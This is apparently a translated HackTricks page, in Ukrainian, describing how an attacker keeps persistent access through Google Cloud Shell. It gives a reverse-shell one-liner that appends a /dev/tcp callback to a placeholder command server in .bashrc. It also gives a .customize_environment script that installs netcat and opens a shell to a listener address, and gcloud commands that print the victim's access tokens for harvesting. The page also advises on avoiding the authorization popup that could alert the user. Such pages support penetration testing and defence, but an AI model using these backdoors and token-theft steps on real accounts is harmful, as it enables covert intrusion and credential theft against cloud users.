GCP - Cloud Shell Persistence

Support HackTricks

Cloud Shell

Для отримання додаткової інформації перегляньте:

Persistent Backdoor

Google Cloud Shell надає вам доступ до командного рядка ваших хмарних ресурсів безпосередньо з вашого браузера без будь-яких супутніх витрат.

Ви можете отримати доступ до Cloud Shell Google з веб-консолі або запустивши gcloud cloud-shell ssh.

Ця консоль має деякі цікаві можливості для атакуючих:

  1. Будь-який користувач Google з доступом до Google Cloud має доступ до повністю автентифікованого екземпляра Cloud Shell (Службові облікові записи можуть, навіть будучи власниками організації).

  2. Вказаний екземпляр зберігатиме свій домашній каталог принаймні 120 днів, якщо не буде жодної активності.

  3. Немає можливостей для організації моніторити активність цього екземпляра.

Це в основному означає, що атакуючий може помістити бекдор у домашній каталог користувача, і поки користувач підключається до GC Shell принаймні кожні 120 днів, бекдор виживе, і атакуючий отримає оболонку щоразу, коли вона запускається, просто виконавши:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Є ще один файл у домашній папці під назвою .customize_environment, який, якщо існує, буде виконуватись щоразу, коли користувач отримує доступ до cloud shell (як у попередній техніці). Просто вставте попередній бекдор або один з наступних, щоб підтримувати стійкість, поки користувач "часто" використовує cloud shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Важливо зазначити, що перший раз, коли виконується дія, що вимагає аутентифікації, у браузері користувача з'являється вікно авторизації. Це вікно потрібно прийняти, перш ніж команда зможе виконатися. Якщо з'явиться несподіване вікно, це може викликати підозру і потенційно скомпрометувати метод збереження.

Це вікно, що з'являється при виконанні gcloud projects list з cloud shell (як атакуючий), переглянуте в сеансі браузера користувача:

Однак, якщо користувач активно використовував cloudshell, вікно не з'явиться, і ви можете збирати токени користувача за допомогою:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Як встановлюється SSH-з'єднання

В основному, використовуються ці 3 API виклики:

Але ви можете знайти додаткову інформацію в https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Посилання

Support HackTricks

Last updated